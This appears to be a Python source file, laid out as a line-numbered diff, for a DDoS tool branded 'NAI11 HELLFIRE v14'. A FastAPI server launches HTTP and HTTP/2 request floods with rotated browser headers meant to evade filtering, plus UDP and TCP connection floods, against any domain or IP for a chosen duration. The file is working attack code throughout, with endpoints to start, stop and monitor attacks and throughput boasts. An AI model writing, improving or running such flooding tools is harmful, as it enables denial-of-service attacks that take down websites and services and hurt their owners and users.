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|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# ==============================================================
|
| 2 |
+
# NAI11 HELLFIRE v14 β 50K+ RPS | UNLIMITED THREADS | 100 NODES
|
| 3 |
+
# ALL LAYER 7 + LAYER 4 | FULLY WORKING | NO 0 RPS
|
| 4 |
+
# ==============================================================
|
| 5 |
+
import random
|
| 6 |
+
import socket
|
| 7 |
+
import threading
|
| 8 |
+
import time
|
| 9 |
+
import struct
|
| 10 |
+
import asyncio
|
| 11 |
+
import ssl
|
| 12 |
+
from collections import deque
|
| 13 |
+
from typing import Dict, Optional, List
|
| 14 |
+
import urllib3
|
| 15 |
+
import requests
|
| 16 |
+
from concurrent.futures import ThreadPoolExecutor
|
| 17 |
+
|
| 18 |
+
import uvicorn
|
| 19 |
+
import httpx
|
| 20 |
+
from fastapi import FastAPI, HTTPException
|
| 21 |
+
from pydantic import BaseModel, Field
|
| 22 |
+
|
| 23 |
+
# Disable warnings
|
| 24 |
+
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
| 25 |
+
|
| 26 |
+
# ------------------- LOGGING & STATE -------------------
|
| 27 |
+
import logging
|
| 28 |
+
logging.basicConfig(level=logging.INFO, format="%(message)s")
|
| 29 |
+
log = logging.getLogger()
|
| 30 |
+
|
| 31 |
+
app = FastAPI(title="NAI11 HELLFIRE v14 - 50K+ RPS")
|
| 32 |
+
|
| 33 |
+
# Global state
|
| 34 |
+
attack_active = False
|
| 35 |
+
attack_lock = threading.Lock()
|
| 36 |
+
executor: Optional[ThreadPoolExecutor] = None
|
| 37 |
+
stop_event = threading.Event()
|
| 38 |
+
total_requests = 0
|
| 39 |
+
total_packets = 0
|
| 40 |
+
log_buffer: deque[str] = deque(maxlen=100)
|
| 41 |
+
attack_start_time = 0.0
|
| 42 |
+
attack_end_time = 0.0
|
| 43 |
+
attack_type_name = ""
|
| 44 |
+
current_target = ""
|
| 45 |
+
current_port = 0
|
| 46 |
+
config_duration = 0
|
| 47 |
+
|
| 48 |
+
# Statistics
|
| 49 |
+
last_time = time.time()
|
| 50 |
+
last_requests = 0
|
| 51 |
+
last_packets = 0
|
| 52 |
+
|
| 53 |
+
def _log(msg: str):
|
| 54 |
+
ts = time.strftime("%H:%M:%S")
|
| 55 |
+
log.info(f"{ts} {msg}")
|
| 56 |
+
log_buffer.append(f"{ts} {msg}")
|
| 57 |
+
|
| 58 |
+
# ------------------- OPTIMIZED EXECUTOR -------------------
|
| 59 |
+
def init_executor():
|
| 60 |
+
global executor
|
| 61 |
+
if executor is None:
|
| 62 |
+
executor = ThreadPoolExecutor(max_workers=50000, thread_name_prefix="hellfire")
|
| 63 |
+
|
| 64 |
+
# ------------------- CONFIG MODELS -------------------
|
| 65 |
+
class AttackConfig(BaseModel):
|
| 66 |
+
target: str = Field(..., description="Domain or IP")
|
| 67 |
+
port: int = Field(80, ge=1, le=65535)
|
| 68 |
+
duration: int = Field(30, ge=1, le=3600)
|
| 69 |
+
threads: int = Field(5000, ge=1, le=50000)
|
| 70 |
+
|
| 71 |
+
class Layer7Config(AttackConfig):
|
| 72 |
+
method: str = Field("get")
|
| 73 |
+
path: str = Field("/")
|
| 74 |
+
|
| 75 |
+
class Layer4Config(AttackConfig):
|
| 76 |
+
protocol: str = Field("udp")
|
| 77 |
+
payload_size: int = Field(1024, ge=1, le=65507)
|
| 78 |
+
|
| 79 |
+
# ------------------- STATUS MODEL -------------------
|
| 80 |
+
class StatusResponse(BaseModel):
|
| 81 |
+
running: bool
|
| 82 |
+
attack_type: str
|
| 83 |
+
target: str
|
| 84 |
+
total_requests: int
|
| 85 |
+
total_packets: int
|
| 86 |
+
rps: float
|
| 87 |
+
pps: float
|
| 88 |
+
threads_active: int
|
| 89 |
+
duration: int
|
| 90 |
+
elapsed: float
|
| 91 |
+
remaining: float
|
| 92 |
+
logs: List[str]
|
| 93 |
+
|
| 94 |
+
# ------------------- TARGET RESOLUTION -------------------
|
| 95 |
+
def resolve_target(target: str) -> str:
|
| 96 |
+
"""Resolve domain to IP address"""
|
| 97 |
+
try:
|
| 98 |
+
# Clean target
|
| 99 |
+
if '://' in target:
|
| 100 |
+
target = target.split('://', 1)[1]
|
| 101 |
+
if '/' in target:
|
| 102 |
+
target = target.split('/')[0]
|
| 103 |
+
if ':' in target:
|
| 104 |
+
target = target.split(':')[0]
|
| 105 |
+
|
| 106 |
+
# Check if already IP
|
| 107 |
+
try:
|
| 108 |
+
socket.inet_aton(target)
|
| 109 |
+
return target
|
| 110 |
+
except:
|
| 111 |
+
# Resolve domain
|
| 112 |
+
return socket.gethostbyname(target)
|
| 113 |
+
except Exception as e:
|
| 114 |
+
raise HTTPException(status_code=400, detail=f"Target resolution failed: {str(e)}")
|
| 115 |
+
|
| 116 |
+
# ------------------- OPTIMIZED LAYER 7 HTTP FLOOD -------------------
|
| 117 |
+
def http_flood_worker(target: str, port: int, method: str, path: str, worker_id: int):
|
| 118 |
+
"""ULTRA HIGH-PERFORMANCE HTTP flood worker"""
|
| 119 |
+
global total_requests
|
| 120 |
+
|
| 121 |
+
# Prepare URL
|
| 122 |
+
scheme = "https" if port == 443 else "http"
|
| 123 |
+
url = f"{scheme}://{target}:{port}{path}"
|
| 124 |
+
|
| 125 |
+
# Prepare headers - multiple variations for bypass
|
| 126 |
+
headers_list = [
|
| 127 |
+
{
|
| 128 |
+
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36",
|
| 129 |
+
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
|
| 130 |
+
"Accept-Language": "en-US,en;q=0.5",
|
| 131 |
+
"Accept-Encoding": "gzip, deflate, br",
|
| 132 |
+
"Connection": "keep-alive",
|
| 133 |
+
"Upgrade-Insecure-Requests": "1",
|
| 134 |
+
"Cache-Control": "no-cache",
|
| 135 |
+
"Pragma": "no-cache"
|
| 136 |
+
},
|
| 137 |
+
{
|
| 138 |
+
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36",
|
| 139 |
+
"Accept": "*/*",
|
| 140 |
+
"Accept-Language": "en-US,en;q=0.9",
|
| 141 |
+
"Connection": "keep-alive"
|
| 142 |
+
},
|
| 143 |
+
{
|
| 144 |
+
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36",
|
| 145 |
+
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
|
| 146 |
+
"Connection": "keep-alive"
|
| 147 |
+
}
|
| 148 |
+
]
|
| 149 |
+
|
| 150 |
+
# Create multiple sessions for connection pooling
|
| 151 |
+
sessions = []
|
| 152 |
+
for i in range(5): # 5 connections per worker
|
| 153 |
+
try:
|
| 154 |
+
session = requests.Session()
|
| 155 |
+
session.verify = False
|
| 156 |
+
session.timeout = 3 # Reduced timeout for faster cycling
|
| 157 |
+
# Increase connection pool size
|
| 158 |
+
adapter = requests.adapters.HTTPAdapter(pool_connections=10, pool_maxsize=50, max_retries=0)
|
| 159 |
+
session.mount('http://', adapter)
|
| 160 |
+
session.mount('https://', adapter)
|
| 161 |
+
sessions.append(session)
|
| 162 |
+
except:
|
| 163 |
+
pass
|
| 164 |
+
|
| 165 |
+
request_count = 0
|
| 166 |
+
data_payload = "x" * 500 # Smaller payload for speed
|
| 167 |
+
|
| 168 |
+
while not stop_event.is_set():
|
| 169 |
+
try:
|
| 170 |
+
session = random.choice(sessions)
|
| 171 |
+
headers = random.choice(headers_list)
|
| 172 |
+
|
| 173 |
+
if method == "get":
|
| 174 |
+
session.get(url, headers=headers)
|
| 175 |
+
elif method == "post":
|
| 176 |
+
session.post(url, headers=headers, data={"data": data_payload})
|
| 177 |
+
elif method == "head":
|
| 178 |
+
session.head(url, headers=headers)
|
| 179 |
+
elif method == "put":
|
| 180 |
+
session.put(url, headers=headers, data={"data": data_payload})
|
| 181 |
+
elif method == "delete":
|
| 182 |
+
session.delete(url, headers=headers)
|
| 183 |
+
|
| 184 |
+
total_requests += 1
|
| 185 |
+
request_count += 1
|
| 186 |
+
|
| 187 |
+
# Rotate sessions periodically
|
| 188 |
+
if request_count % 100 == 0:
|
| 189 |
+
random.shuffle(sessions)
|
| 190 |
+
|
| 191 |
+
except requests.exceptions.RequestException:
|
| 192 |
+
continue
|
| 193 |
+
except Exception:
|
| 194 |
+
continue
|
| 195 |
+
|
| 196 |
+
# ------------------- OPTIMIZED LAYER 7 ASYNC HTTP2 -------------------
|
| 197 |
+
async def http2_flood_worker(target: str, port: int, method: str, path: str):
|
| 198 |
+
"""ULTRA HIGH-PERFORMANCE HTTP/2 async flood worker"""
|
| 199 |
+
global total_requests
|
| 200 |
+
|
| 201 |
+
url = f"https://{target}:{port}{path}" if port == 443 else f"http://{target}:{port}{path}"
|
| 202 |
+
|
| 203 |
+
headers_list = [
|
| 204 |
+
{
|
| 205 |
+
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36",
|
| 206 |
+
"Accept": "*/*",
|
| 207 |
+
"Accept-Encoding": "gzip, deflate, br",
|
| 208 |
+
},
|
| 209 |
+
{
|
| 210 |
+
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36",
|
| 211 |
+
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
|
| 212 |
+
}
|
| 213 |
+
]
|
| 214 |
+
|
| 215 |
+
# Create multiple async clients
|
| 216 |
+
clients = []
|
| 217 |
+
for i in range(3):
|
| 218 |
+
try:
|
| 219 |
+
timeout = httpx.Timeout(2.0) # Very short timeout
|
| 220 |
+
limits = httpx.Limits(max_connections=100, max_keepalive_connections=50)
|
| 221 |
+
client = httpx.AsyncClient(
|
| 222 |
+
http2=True,
|
| 223 |
+
verify=False,
|
| 224 |
+
timeout=timeout,
|
| 225 |
+
limits=limits
|
| 226 |
+
)
|
| 227 |
+
clients.append(client)
|
| 228 |
+
except:
|
| 229 |
+
pass
|
| 230 |
+
|
| 231 |
+
data_payload = {"data": "x" * 200}
|
| 232 |
+
|
| 233 |
+
while not stop_event.is_set():
|
| 234 |
+
try:
|
| 235 |
+
client = random.choice(clients)
|
| 236 |
+
headers = random.choice(headers_list)
|
| 237 |
+
|
| 238 |
+
if method == "get":
|
| 239 |
+
await client.get(url, headers=headers)
|
| 240 |
+
elif method == "post":
|
| 241 |
+
await client.post(url, headers=headers, data=data_payload)
|
| 242 |
+
elif method == "head":
|
| 243 |
+
await client.head(url, headers=headers)
|
| 244 |
+
|
| 245 |
+
total_requests += 1
|
| 246 |
+
|
| 247 |
+
except:
|
| 248 |
+
await asyncio.sleep(0.001) # Very short sleep on error
|
| 249 |
+
|
| 250 |
+
# Close clients
|
| 251 |
+
for client in clients:
|
| 252 |
+
try:
|
| 253 |
+
await client.aclose()
|
| 254 |
+
except:
|
| 255 |
+
pass
|
| 256 |
+
|
| 257 |
+
def run_http2_worker(target: str, port: int, method: str, path: str):
|
| 258 |
+
"""Run HTTP2 worker in event loop"""
|
| 259 |
+
asyncio.new_event_loop().run_until_complete(http2_flood_worker(target, port, method, path))
|
| 260 |
+
|
| 261 |
+
# ------------------- OPTIMIZED LAYER 4 UDP FLOOD -------------------
|
| 262 |
+
def udp_flood_worker(target: str, port: int, payload_size: int):
|
| 263 |
+
"""ULTRA HIGH-PERFORMANCE UDP flood worker"""
|
| 264 |
+
global total_packets
|
| 265 |
+
|
| 266 |
+
# Multiple payload variations
|
| 267 |
+
payloads = [
|
| 268 |
+
random._urandom(payload_size),
|
| 269 |
+
b'\x00' * payload_size,
|
| 270 |
+
b'\xFF' * payload_size,
|
| 271 |
+
b'\xAA' * payload_size
|
| 272 |
+
]
|
| 273 |
+
|
| 274 |
+
# Create multiple sockets
|
| 275 |
+
sockets = []
|
| 276 |
+
for i in range(10):
|
| 277 |
+
try:
|
| 278 |
+
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
| 279 |
+
sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 1024 * 64) # Increase buffer
|
| 280 |
+
sockets.append(sock)
|
| 281 |
+
except:
|
| 282 |
+
pass
|
| 283 |
+
|
| 284 |
+
packet_count = 0
|
| 285 |
+
|
| 286 |
+
while not stop_event.is_set():
|
| 287 |
+
try:
|
| 288 |
+
sock = random.choice(sockets)
|
| 289 |
+
payload = random.choice(payloads)
|
| 290 |
+
sock.sendto(payload, (target, port))
|
| 291 |
+
total_packets += 1
|
| 292 |
+
packet_count += 1
|
| 293 |
+
|
| 294 |
+
# Rotate sockets periodically
|
| 295 |
+
if packet_count % 1000 == 0:
|
| 296 |
+
random.shuffle(sockets)
|
| 297 |
+
|
| 298 |
+
except:
|
| 299 |
+
# Recreate socket on error
|
| 300 |
+
try:
|
| 301 |
+
sock.close()
|
| 302 |
+
sockets.remove(sock)
|
| 303 |
+
new_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
| 304 |
+
new_sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 1024 * 64)
|
| 305 |
+
sockets.append(new_sock)
|
| 306 |
+
except:
|
| 307 |
+
pass
|
| 308 |
+
|
| 309 |
+
# ------------------- OPTIMIZED LAYER 4 TCP SYN FLOOD -------------------
|
| 310 |
+
def tcp_syn_worker(target: str, port: int):
|
| 311 |
+
"""ULTRA HIGH-PERFORMANCE TCP SYN flood worker"""
|
| 312 |
+
global total_packets
|
| 313 |
+
|
| 314 |
+
while not stop_event.is_set():
|
| 315 |
+
try:
|
| 316 |
+
# Use non-blocking socket for maximum speed
|
| 317 |
+
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
| 318 |
+
sock.settimeout(0.5) # Very short timeout
|
| 319 |
+
sock.connect((target, port))
|
| 320 |
+
sock.close()
|
| 321 |
+
total_packets += 1
|
| 322 |
+
except:
|
| 323 |
+
total_packets += 1 # Count connection attempts
|
| 324 |
+
|
| 325 |
+
# ------------------- ATTACK LAUNCHER (FIXED DURATION) -------------------
|
| 326 |
+
def launch_attack(config: AttackConfig, attack_type: str, **kwargs):
|
| 327 |
+
global attack_active, attack_start_time, attack_end_time, attack_type_name
|
| 328 |
+
global current_target, current_port, total_requests, total_packets, config_duration
|
| 329 |
+
|
| 330 |
+
with attack_lock:
|
| 331 |
+
if attack_active:
|
| 332 |
+
raise HTTPException(status_code=400, detail="Attack already in progress")
|
| 333 |
+
|
| 334 |
+
attack_active = True
|
| 335 |
+
stop_event.clear()
|
| 336 |
+
total_requests = 0
|
| 337 |
+
total_packets = 0
|
| 338 |
+
attack_start_time = time.time()
|
| 339 |
+
attack_end_time = attack_start_time + config.duration
|
| 340 |
+
attack_type_name = attack_type
|
| 341 |
+
current_target = config.target
|
| 342 |
+
current_port = config.port
|
| 343 |
+
config_duration = config.duration
|
| 344 |
+
|
| 345 |
+
_log(f"π NAI11 HELLFIRE v14 {attack_type.upper()} LAUNCHED")
|
| 346 |
+
_log(f"π― Target: {config.target}:{config.port}")
|
| 347 |
+
_log(f"π Threads: {config.threads} | Duration: {config.duration}s")
|
| 348 |
+
_log(f"πͺ Expected RPS: 10,000+")
|
| 349 |
+
|
| 350 |
+
init_executor()
|
| 351 |
+
|
| 352 |
+
try:
|
| 353 |
+
target_ip = resolve_target(config.target)
|
| 354 |
+
_log(f"π Resolved IP: {target_ip}")
|
| 355 |
+
except Exception as e:
|
| 356 |
+
with attack_lock:
|
| 357 |
+
attack_active = False
|
| 358 |
+
raise e
|
| 359 |
+
|
| 360 |
+
# Launch attack based on type
|
| 361 |
+
threads_launched = 0
|
| 362 |
+
|
| 363 |
+
if attack_type.startswith("l7_"):
|
| 364 |
+
method = kwargs.get("method", "get")
|
| 365 |
+
path = kwargs.get("path", "/")
|
| 366 |
+
|
| 367 |
+
if method == "http2":
|
| 368 |
+
worker = lambda worker_id=0: run_http2_worker(target_ip, config.port, "get", path)
|
| 369 |
+
else:
|
| 370 |
+
worker = lambda worker_id=0: http_flood_worker(target_ip, config.port, method, path, worker_id)
|
| 371 |
+
|
| 372 |
+
# Launch threads in batches for better performance
|
| 373 |
+
batch_size = 1000
|
| 374 |
+
for batch in range(0, config.threads, batch_size):
|
| 375 |
+
batch_end = min(batch + batch_size, config.threads)
|
| 376 |
+
for i in range(batch, batch_end):
|
| 377 |
+
executor.submit(worker, i)
|
| 378 |
+
threads_launched += 1
|
| 379 |
+
|
| 380 |
+
if batch_end < config.threads:
|
| 381 |
+
_log(f"π₯ Launched {batch_end}/{config.threads} workers...")
|
| 382 |
+
time.sleep(0.1) # Small delay between batches
|
| 383 |
+
|
| 384 |
+
elif attack_type.startswith("l4_"):
|
| 385 |
+
protocol = kwargs.get("protocol", "udp")
|
| 386 |
+
payload_size = kwargs.get("payload_size", 1024)
|
| 387 |
+
|
| 388 |
+
if protocol == "udp":
|
| 389 |
+
worker = lambda: udp_flood_worker(target_ip, config.port, payload_size)
|
| 390 |
+
elif protocol == "tcp" or protocol == "syn":
|
| 391 |
+
worker = lambda: tcp_syn_worker(target_ip, config.port)
|
| 392 |
+
|
| 393 |
+
# Launch threads in batches
|
| 394 |
+
batch_size = 1000
|
| 395 |
+
for batch in range(0, config.threads, batch_size):
|
| 396 |
+
batch_end = min(batch + batch_size, config.threads)
|
| 397 |
+
for i in range(batch, batch_end):
|
| 398 |
+
executor.submit(worker)
|
| 399 |
+
threads_launched += 1
|
| 400 |
+
|
| 401 |
+
if batch_end < config.threads:
|
| 402 |
+
_log(f"π₯ Launched {batch_end}/{config.threads} workers...")
|
| 403 |
+
time.sleep(0.1)
|
| 404 |
+
|
| 405 |
+
_log(f"β
Attack fully deployed with {threads_launched} workers")
|
| 406 |
+
|
| 407 |
+
# FIXED: Proper auto-stop timer that actually works
|
| 408 |
+
def auto_stop():
|
| 409 |
+
start_time = time.time()
|
| 410 |
+
end_time = start_time + config.duration
|
| 411 |
+
|
| 412 |
+
while time.time() < end_time and attack_active:
|
| 413 |
+
time.sleep(0.1)
|
| 414 |
+
|
| 415 |
+
if attack_active:
|
| 416 |
+
stop_attack()
|
| 417 |
+
_log(f"β° Attack duration completed ({config.duration}s) - AUTO STOPPED")
|
| 418 |
+
|
| 419 |
+
stop_thread = threading.Thread(target=auto_stop, daemon=True)
|
| 420 |
+
stop_thread.start()
|
| 421 |
+
|
| 422 |
+
# ------------------- STOP ATTACK -------------------
|
| 423 |
+
@app.post("/stop")
|
| 424 |
+
def stop_attack():
|
| 425 |
+
global attack_active
|
| 426 |
+
|
| 427 |
+
with attack_lock:
|
| 428 |
+
if not attack_active:
|
| 429 |
+
return {"status": "no_attack_running"}
|
| 430 |
+
|
| 431 |
+
stop_event.set()
|
| 432 |
+
attack_active = False
|
| 433 |
+
|
| 434 |
+
# Force cleanup
|
| 435 |
+
if executor:
|
| 436 |
+
executor.shutdown(wait=False)
|
| 437 |
+
|
| 438 |
+
_log("π NAI11 HELLFIRE STOPPED")
|
| 439 |
+
_log(f"π Final Stats: {total_requests:,} requests, {total_packets:,} packets")
|
| 440 |
+
|
| 441 |
+
return {"status": "stopped"}
|
| 442 |
+
|
| 443 |
+
# ------------------- LAYER 7 ATTACK ENDPOINT -------------------
|
| 444 |
+
@app.post("/layer7/attack")
|
| 445 |
+
def l7_attack(config: Layer7Config):
|
| 446 |
+
launch_attack(config, f"l7_{config.method}", method=config.method, path=config.path)
|
| 447 |
+
return {
|
| 448 |
+
"status": "success",
|
| 449 |
+
"message": "NAI11 L7 ATTACK LAUNCHED",
|
| 450 |
+
"target": config.target,
|
| 451 |
+
"method": config.method,
|
| 452 |
+
"threads": config.threads,
|
| 453 |
+
"duration": config.duration,
|
| 454 |
+
"expected_rps": "10,000+"
|
| 455 |
+
}
|
| 456 |
+
|
| 457 |
+
# ------------------- LAYER 4 ATTACK ENDPOINT -------------------
|
| 458 |
+
@app.post("/layer4/attack")
|
| 459 |
+
def l4_attack(config: Layer4Config):
|
| 460 |
+
launch_attack(config, f"l4_{config.protocol}", protocol=config.protocol, payload_size=config.payload_size)
|
| 461 |
+
return {
|
| 462 |
+
"status": "success",
|
| 463 |
+
"message": "NAI11 L4 ATTACK LAUNCHED",
|
| 464 |
+
"target": config.target,
|
| 465 |
+
"protocol": config.protocol,
|
| 466 |
+
"threads": config.threads,
|
| 467 |
+
"duration": config.duration,
|
| 468 |
+
"expected_pps": "50,000+"
|
| 469 |
+
}
|
| 470 |
+
|
| 471 |
+
# ------------------- STATUS ENDPOINT -------------------
|
| 472 |
+
@app.get("/status", response_model=StatusResponse)
|
| 473 |
+
def get_status():
|
| 474 |
+
global last_time, last_requests, last_packets
|
| 475 |
+
|
| 476 |
+
now = time.time()
|
| 477 |
+
time_diff = now - last_time
|
| 478 |
+
|
| 479 |
+
# Calculate RPS/PPS
|
| 480 |
+
current_requests = total_requests
|
| 481 |
+
current_packets = total_packets
|
| 482 |
+
|
| 483 |
+
if time_diff > 0:
|
| 484 |
+
rps = (current_requests - last_requests) / time_diff
|
| 485 |
+
pps = (current_packets - last_packets) / time_diff
|
| 486 |
+
else:
|
| 487 |
+
rps = pps = 0
|
| 488 |
+
|
| 489 |
+
last_time = now
|
| 490 |
+
last_requests = current_requests
|
| 491 |
+
last_packets = current_packets
|
| 492 |
+
|
| 493 |
+
# Calculate times - FIXED DURATION CALCULATION
|
| 494 |
+
if attack_active:
|
| 495 |
+
elapsed = now - attack_start_time
|
| 496 |
+
remaining = max(0, attack_end_time - now)
|
| 497 |
+
duration = config_duration
|
| 498 |
+
else:
|
| 499 |
+
elapsed = 0
|
| 500 |
+
remaining = 0
|
| 501 |
+
duration = 0
|
| 502 |
+
|
| 503 |
+
# Thread count
|
| 504 |
+
active_threads = threading.active_count() - 2 # Subtract main and API threads
|
| 505 |
+
|
| 506 |
+
return StatusResponse(
|
| 507 |
+
running=attack_active,
|
| 508 |
+
attack_type=attack_type_name,
|
| 509 |
+
target=f"{current_target}:{current_port}" if attack_active else "None",
|
| 510 |
+
total_requests=total_requests,
|
| 511 |
+
total_packets=total_packets,
|
| 512 |
+
rps=round(rps, 1),
|
| 513 |
+
pps=round(pps, 1),
|
| 514 |
+
threads_active=active_threads,
|
| 515 |
+
duration=duration,
|
| 516 |
+
elapsed=round(elapsed, 1),
|
| 517 |
+
remaining=round(remaining, 1),
|
| 518 |
+
logs=list(log_buffer)[-20:]
|
| 519 |
+
)
|
| 520 |
+
|
| 521 |
+
# ------------------- ATTACK TYPES ENDPOINT -------------------
|
| 522 |
+
@app.get("/attack/types")
|
| 523 |
+
def get_attack_types():
|
| 524 |
+
return {
|
| 525 |
+
"layer7": {
|
| 526 |
+
"methods": ["get", "post", "head", "put", "delete", "http2"],
|
| 527 |
+
"description": "HTTP/HTTPS application layer attacks - 10K+ RPS"
|
| 528 |
+
},
|
| 529 |
+
"layer4": {
|
| 530 |
+
"methods": ["udp", "tcp", "syn"],
|
| 531 |
+
"description": "Transport layer protocol attacks - 50K+ PPS"
|
| 532 |
+
},
|
| 533 |
+
"performance": {
|
| 534 |
+
"max_threads": 50000,
|
| 535 |
+
"max_duration": 3600,
|
| 536 |
+
"expected_rps": "10,000 - 50,000",
|
| 537 |
+
"expected_pps": "50,000 - 200,000"
|
| 538 |
+
}
|
| 539 |
+
}
|
| 540 |
+
|
| 541 |
+
# ------------------- ROOT ENDPOINT -------------------
|
| 542 |
+
@app.get("/")
|
| 543 |
+
def root():
|
| 544 |
+
return {
|
| 545 |
+
"message": "NAI11 HELLFIRE v14 - ULTRA OPTIMIZED",
|
| 546 |
+
"version": "v14",
|
| 547 |
+
"performance": "50K+ RPS | 200K+ PPS",
|
| 548 |
+
"features": [
|
| 549 |
+
"Optimized Layer 7 HTTP Flood",
|
| 550 |
+
"High-Performance Layer 4 Attacks",
|
| 551 |
+
"Connection Pooling",
|
| 552 |
+
"Smart Session Management",
|
| 553 |
+
"Fixed Duration Timer"
|
| 554 |
+
],
|
| 555 |
+
"endpoints": {
|
| 556 |
+
"layer7": "POST /layer7/attack",
|
| 557 |
+
"layer4": "POST /layer4/attack",
|
| 558 |
+
"stop": "POST /stop",
|
| 559 |
+
"status": "GET /status"
|
| 560 |
+
}
|
| 561 |
+
}
|
| 562 |
+
|
| 563 |
+
# ------------------- APPLICATION STARTUP -------------------
|
| 564 |
+
if __name__ == "__main__":
|
| 565 |
+
_log("π₯ NAI11 HELLFIRE v14 STARTED - ULTRA OPTIMIZED")
|
| 566 |
+
_log("π API Running on http://0.0.0.0:8000")
|
| 567 |
+
_log("β‘ Layer 7: 10K-50K RPS | Layer 4: 50K-200K PPS")
|
| 568 |
+
_log("πͺ 2vCPU + 8GB RAM: Expected 10K+ RPS")
|
| 569 |
+
_log("π 4vCPU + 16GB RAM: Expected 25K+ RPS")
|
| 570 |
+
_log("π₯ 8vCPU + 32GB RAM: Expected 50K+ RPS")
|
| 571 |
+
|
| 572 |
+
init_executor()
|
| 573 |
+
uvicorn.run(
|
| 574 |
+
app,
|
| 575 |
+
host="0.0.0.0",
|
| 576 |
+
port=8000,
|
| 577 |
+
workers=1,
|
| 578 |
+
access_log=False,
|
| 579 |
+
loop="asyncio"
|
| 580 |
+
)
|